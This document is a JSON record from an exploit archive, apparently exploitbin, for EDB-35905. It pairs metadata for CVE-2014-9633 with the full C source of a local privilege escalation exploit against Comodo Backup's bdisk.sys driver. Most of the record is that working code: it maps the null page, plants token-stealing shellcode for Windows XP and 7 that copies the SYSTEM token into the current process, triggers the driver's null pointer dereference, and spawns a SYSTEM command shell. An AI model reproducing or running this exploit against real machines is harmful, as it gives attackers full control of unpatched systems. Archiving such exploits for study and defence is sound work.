{"exploit":{"id":"EDB-35905","name":"Comodo Backup 4.4.0.0 - Null Pointer Dereference Privilege Escalation","description":"Comodo Backup 4.4.0.0 - Null Pointer Dereference Privilege Escalation","cves":["CVE-2014-9633"],"author":"Parvez Anwar","published":"2015-01-26","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/35905","path":"exploits/windows/local/35905.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-35905.c","vulnerabilities":[{"id":"CVE-2014-9633","state":"PUBLISHED","title":null,"titleSource":null,"description":"The bdisk.sys driver in COMODO Backup before 4.4.1.23 allows remote attackers to gain privileges via a crafted device handle, which triggers a NULL pointer dereference.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-9633","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-9633"},"updatedAt":"2024-08-06T13:47:41.799Z","retrievedAt":"2026-11-27T15:10:02.918Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-35905.png?v=2","url":"https://exploitbin.com/exploits/EDB-35905","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-35905/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-35905/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\nExploit Title    - Comodo Backup Null Pointer Dereference Privilege Escalation\nDate             - 23rd January 2015\nDiscovered by    - Parvez Anwar (@parvezghh)\nVendor Homepage  - https://www.comodo.com\nTested Version   - 4.4.0.0\nDriver Version   - 1.0.0.957 - bdisk.sys\nTested on OS     - 32bit Windows XP SP3 and Windows 7 SP1\nOSVDB            - http://www.osvdb.org/show/osvdb/112828\nCVE ID           - CVE-2014-9633\nVendor fix url   - http://forums.comodo.com/news-announcements-feedback-cb/comodo-backup-44123-released-t107293.0.html\nFixed version    - 4.4.1.23\nFixed Driver Ver - 1.0.0.972\n\n\n\nNote\n----\nDoes not cleanly exit, had to use some leave instructions to get the command\nprompt. If you know of a better way please do let me know.\n\nBelow in from Windows XP in IofCallDriver function.\n\neax = 12h\n\n804e37fe 8b7108          mov     esi,dword ptr [ecx+8]  <- control the null page as ecx = 00000000\n804e3801 52              push    edx\n804e3802 51              push    ecx\n804e3803 ff548638        call    dword ptr [esi+eax*4+38h] ds:0023:00000080=00000090\n804e3807 5e              pop     esi\n804e3808 c3              ret\n\n\nesi + eax*4 + 38h = 0 + 48 + 38 = 80h if ESI is null\n\n\n*/\n\n\n#include <stdio.h>\n#include <windows.h>\n\n#define BUFSIZE 4096\n\n\ntypedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(\n     IN HANDLE ProcessHandle,\n     IN OUT PVOID *BaseAddress,\n     IN ULONG ZeroBits,\n     IN OUT PULONG RegionSize,\n     IN ULONG AllocationType,\n     IN ULONG Protect);\n\n\n// Windows XP SP3\n\n#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct\n#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct\n#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct\n#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct\n\n// Windows 7 SP1\n\n#define W7_KPROCESS 0x50      // Offset to _KPROCESS from a _ETHREAD struct\n#define W7_TOKEN    0xf8      // Offset to TOKEN from the _EPROCESS struct\n#define W7_UPID     0xb4      // Offset to UniqueProcessId FROM the _EPROCESS struct\n#define W7_APLINKS  0xb8      // Offset to ActiveProcessLinks _EPROCESS struct\n\n\n\nBYTE token_steal_xp[] =\n{\n  0x52,\t\t\t\t\t                   // push edx                       Save edx on the stack\n  0x53,\t\t\t\t\t                   // push ebx                       Save ebx on the stack\n  0x33,0xc0,\t\t\t\t                   // xor eax, eax                   eax = 0\n  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,\t\t           // mov eax, fs:[eax+124h]         Retrieve ETHREAD\n  0x8b,0x40,XP_KPROCESS,                                   // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS\n  0x8b,0xc8,\t\t\t\t                   // mov ecx, eax\n  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,\t\t           // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN\n  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,\t\t           // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks\n  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,\t\t           // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks\n  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,    // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)\n  0x75,0xe8,\t\t\t\t                   // jne                     ----\n  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,\t\t           // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX\n  0x8b,0xc1,          \t\t\t                   // mov eax, ecx                   Retrieves KPROCESS stored on ECX\n  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,\t\t           // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS\n  0x5b,   \t\t\t\t                   // pop ebx                        Restores ebx\n  0x5a,                                                    // pop edx                        Restores edx\n  0xc9,                                                    // leave\n  0xc9,                                                    // leave\n  0xc9,                                                    // leave\n  0xc9,                                                    // leave\n  0xc3 \t                                                   // ret\n};\n\n\n\nBYTE token_steal_w7[] =\n{\n  0x52,\t\t\t\t\t                   // push edx                       Save edx on the stack\n  0x53,\t\t\t\t\t                   // push ebx                       Save ebx on the stack\n  0x33,0xc0,\t\t\t\t                   // xor eax, eax                   eax = 0\n  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,\t\t           // mov eax, fs:[eax+124h]         Retrieve ETHREAD\n  0x8b,0x40,W7_KPROCESS,                                   // mov eax, [eax+W7_KPROCESS]     Retrieve _KPROCESS\n  0x8b,0xc8,\t\t\t\t                   // mov ecx, eax\n  0x8b,0x98,W7_TOKEN,0x00,0x00,0x00,\t\t           // mov ebx, [eax+W7_TOKEN]        Retrieves TOKEN\n  0x8b,0x80,W7_APLINKS,0x00,0x00,0x00,\t\t           // mov eax, [eax+W7_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks\n  0x81,0xe8,W7_APLINKS,0x00,0x00,0x00,\t\t           // sub eax, W7_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks\n  0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,    // cmp [eax+W7_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)\n  0x75,0xe8,\t\t\t\t                   // jne                     ----\n  0x8b,0x90,W7_TOKEN,0x00,0x00,0x00,\t\t           // mov edx, [eax+W7_TOKEN]        Retrieves TOKEN and stores on EDX\n  0x8b,0xc1,          \t\t\t                   // mov eax, ecx                   Retrieves KPROCESS stored on ECX\n  0x89,0x90,W7_TOKEN,0x00,0x00,0x00,\t\t           // mov [eax+W7_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS\n  0x5b,   \t\t\t\t                   // pop ebx                        Restores ebx\n  0x5a,                                                    // pop edx                        Restores edx\n  0xc9,                                                    // leave\n  0xc9,                                                    // leave\n  0xc9,                                                    // leave\n  0xc9,                                                    // leave\n  0xc3  \t                                           // ret\n};\n\n\n\nBYTE ESInull[] = \"\\x00\\x00\\x00\\x00\";\n\nBYTE RETaddr[] = \"\\x90\\x00\\x00\\x00\";\n\n\n\nint GetWindowsVersion()\n{\n    int v = 0;\n    DWORD version = 0, minVersion = 0, majVersion = 0;\n\n    version = GetVersion();\n\n    minVersion = (DWORD)(HIBYTE(LOWORD(version)));\n    majVersion = (DWORD)(LOBYTE(LOWORD(version)));\n\n    if (minVersion == 1 && majVersion == 5) v = 1;  // \"Windows XP;\n    if (minVersion == 1 && majVersion == 6) v = 2;  // \"Windows 7\";\n\n    return v;\n}\n\n\nvoid spawnShell()\n{\n    STARTUPINFOA si;\n    PROCESS_INFORMATION pi;\n\n\n    ZeroMemory(&pi, sizeof(pi));\n    ZeroMemory(&si, sizeof(si));\n    si.cb = sizeof(si);\n\n    si.cb          = sizeof(si);\n    si.dwFlags     = STARTF_USESHOWWINDOW;\n    si.wShowWindow = SW_SHOWNORMAL;\n\n    if (!CreateProcess(NULL, \"cmd.exe\", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))\n    {\n       printf(\"\\n[-] CreateProcess failed (%d)\\n\\n\", GetLastError());\n       return;\n    }\n\n    CloseHandle(pi.hThread);\n    CloseHandle(pi.hProcess);\n}\n\n\n\nint main(int argc, char *argv[])\n{\n\n    _NtAllocateVirtualMemory    NtAllocateVirtualMemory;\n    NTSTATUS                    allocstatus;\n    LPVOID                      base_addr = (LPVOID)0x00000001;\n    DWORD                       written;\n    int                         rwresult;\n    int                         size = BUFSIZE;\n    HANDLE                      hDevice;\n    unsigned char               buffer[BUFSIZE];\n    unsigned char               devhandle[MAX_PATH];\n\n\n    printf(\"-------------------------------------------------------------------------------\\n\");\n    printf(\"      COMODO Backup (bdisk.sys) Null Pointer Dereference EoP Exploit           \\n\");\n    printf(\"            Tested on Windows XP SP3/Windows 7 SP1 (32bit)                     \\n\");\n    printf(\"-------------------------------------------------------------------------------\\n\\n\");\n\n\n    sprintf(devhandle, \"\\\\\\\\.\\\\%s\", \"bdisk\");\n\n    NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"NtAllocateVirtualMemory\");\n\n    if (!NtAllocateVirtualMemory)\n    {\n        printf(\"[-] Unable to resolve NtAllocateVirtualMemory\\n\");\n        return -1;\n    }\n\n    printf(\"[+] NtAllocateVirtualMemory [0x%p]\\n\", NtAllocateVirtualMemory);\n    printf(\"[+] Allocating memory at [0x%p]\\n\", base_addr);\n\n    allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n\n    if (allocstatus)\n    {\n        printf(\"[-] An error occured while mapping executable memory. Status = 0x%08x\\n\", allocstatus);\n        printf(\"Error : %d\\n\", GetLastError());\n        return -1;\n    }\n    printf(\"[+] NtAllocateVirtualMemory successful\\n\");\n\n    memset(buffer, 0x90, BUFSIZE);\n    memcpy(buffer+0x00000007, ESInull, sizeof(ESInull)-1);\n    memcpy(buffer+0x0000007f, RETaddr, sizeof(RETaddr)-1);\n\n    if (GetWindowsVersion() == 1)\n    {\n        printf(\"[i] Running Windows XP\\n\");\n        memcpy(buffer+0x00000100, token_steal_xp, sizeof(token_steal_xp));\n        printf(\"[i] Size of shellcode %d bytes\\n\", sizeof(token_steal_xp));\n    }\n    else if (GetWindowsVersion() == 2)\n    {\n        printf(\"[i] Running Windows 7\\n\");\n        memcpy(buffer+0x00000100, token_steal_w7, sizeof(token_steal_w7));\n        printf(\"[i] Size of shellcode %d bytes\\n\", sizeof(token_steal_w7));\n    }\n    else if (GetWindowsVersion() == 0)\n    {\n        printf(\"[i] Exploit not supported on this OS\\n\\n\");\n        return -1;\n    }\n\n    rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);\n\n    if (rwresult == 0)\n    {\n        printf(\"[-] An error occured while mapping writing memory: %d\\n\", GetLastError());\n        return -1;\n    }\n    printf(\"[+] WriteProcessMemory %d bytes written\\n\", written);\n\n    printf(\"[~] Press any key to Exploit . . .\\n\");\n    getch();\n\n    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);\n\n    if (hDevice == INVALID_HANDLE_VALUE)\n    {\n        printf(\"[-] CreateFile open %s device failed (%d)\\n\\n\", devhandle, GetLastError());\n        return -1;\n    }\n    else\n    {\n        printf(\"[+] Open %s device successful\\n\", devhandle);\n    }\n\n    CloseHandle(hDevice);\n\n    printf(\"[+] Spawning SYSTEM Shell\\n\");\n    spawnShell();\n\n    return 0;\n}","sha256":"bdb32d2b543fa068042dfb95c8875b8018c93cdcb0f4a6e4e9cf95200c272c5d","bytes":10512,"fetchedAt":"2026-11-27T15:10:01.192Z","encoding":"utf-8 (display only; download retains original bytes)"}